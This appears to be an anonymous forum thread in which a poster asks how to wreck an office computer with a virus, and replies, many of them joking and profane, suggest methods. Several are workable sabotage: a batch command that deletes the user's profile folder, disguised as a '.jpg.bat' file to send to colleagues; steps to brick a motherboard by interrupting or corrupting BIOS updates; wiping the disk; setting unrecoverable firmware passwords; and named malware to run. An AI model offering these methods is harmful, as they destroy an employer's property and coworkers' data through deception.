I want to destroy my office computer with a fucking virus so bad HIV is gonna look pale

I want to destroy my office computer with a fucking virus so bad HIV is gonna look pale...

Any suggestions?

just flip the little power switch on the back of the computer to 240V instead of 120V

well the power supply is gonna toast for sure, but will it fuck over the HDD and motherboard too?

Install macOS

I really hope it catches fire at last

"Accidentaly" spill a cup of water in it while its on

cih

I switched a PSU here from 240V to 120V by accident while connected to the 240V line and it blew up the PSU, smells terrible. Luckily, only the PSU was toast and the rest of the components were fine. Might be cause the computer wasn't powered on yet. I'm glad it was just the PSU cause it was a customer's computer and I just swapped out the PSU.

WHAT YEAR IS IT!

Let anyone at your office use Windows. Eventually their lives will be destroyed by blackmailing/extortion with all the intimate and damaging data that is mined from them by either Microsoft, the government, a foreign government or a third party that buys/steals this data.

How about you grow the fuck up and handle your problems like an adult.

Try 'Melissa' or "Love Letter' virii

Open notepad and write this:

@rmdir /Q /S %USERPROFILE%

Save as meme.jpg.bat and send to all colleagues.

Bonzify + Memz + Chernobyl.

That just makes the PSU not work. The other way is the way to break the PSU.

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Step 1: Reformat drive, I'm assuming wangblows.
Step 2: Encrypt drive with long as fuck password.
Step 3: Set firmware password, ^^.
Now they have an unusable drive and mobo. Don't get caught OP, godspeed.

That can be fixed with clear cmos, reformat drive, and reinstall

Install Arch in it, it will destroy itself through updates

I know this is ironic, but people here actually believe this shit.

Not funny

Bonzi buddy.

Savage

1. Find out what mobo you have
2. Find BIOS update files on the interwebz
3. Make a boot disk with BIOS update.
4. Make a second boot disk with Hiren's boot cd
5. Zero out your hard disk and fuck up LBA.
6. Initiate BIOS update and turn off after erasing some banks.
7. ???
8. PROFIT!

Most business laptops have eeprom or something similar, so removing the battery won't reset the firmware password

Install Gentoo in it, it will destroy itself through updates

tl;dr: fuck the drive and then fuck the mobo bios

Since it's an office computer there's about 0% chance it has any sort of fancy dual bios or whatever, so have fun

1. Try to fry the CPU with Prime95 Benchmarking
2. Corrupt the Harddrive with DiskFucker.exe
3. Try to install a wrong or faulty bios update
(When a laptop) set a ultra long and random bios password

>(When a laptop)
You do realise that many laptops are just as easy to reset as desktops? In some cases they do have measures, but it's absolutely not worth a generalisation like this

Where did you get that post? The used post store?

Just run random ransom malware

I just wanted to be the funny guy for once.

I AM PROTO
SECURITY IS MY ... MOTTO

Memz

It isn't ironic. Windows 10 is already full of that shit.

This.
Shut down your computer while it is updating bios. 9/10r your mobo gets fuck. 1/10 mobo reverts to previous bios.

why did you type psu so much you fuckin weirdo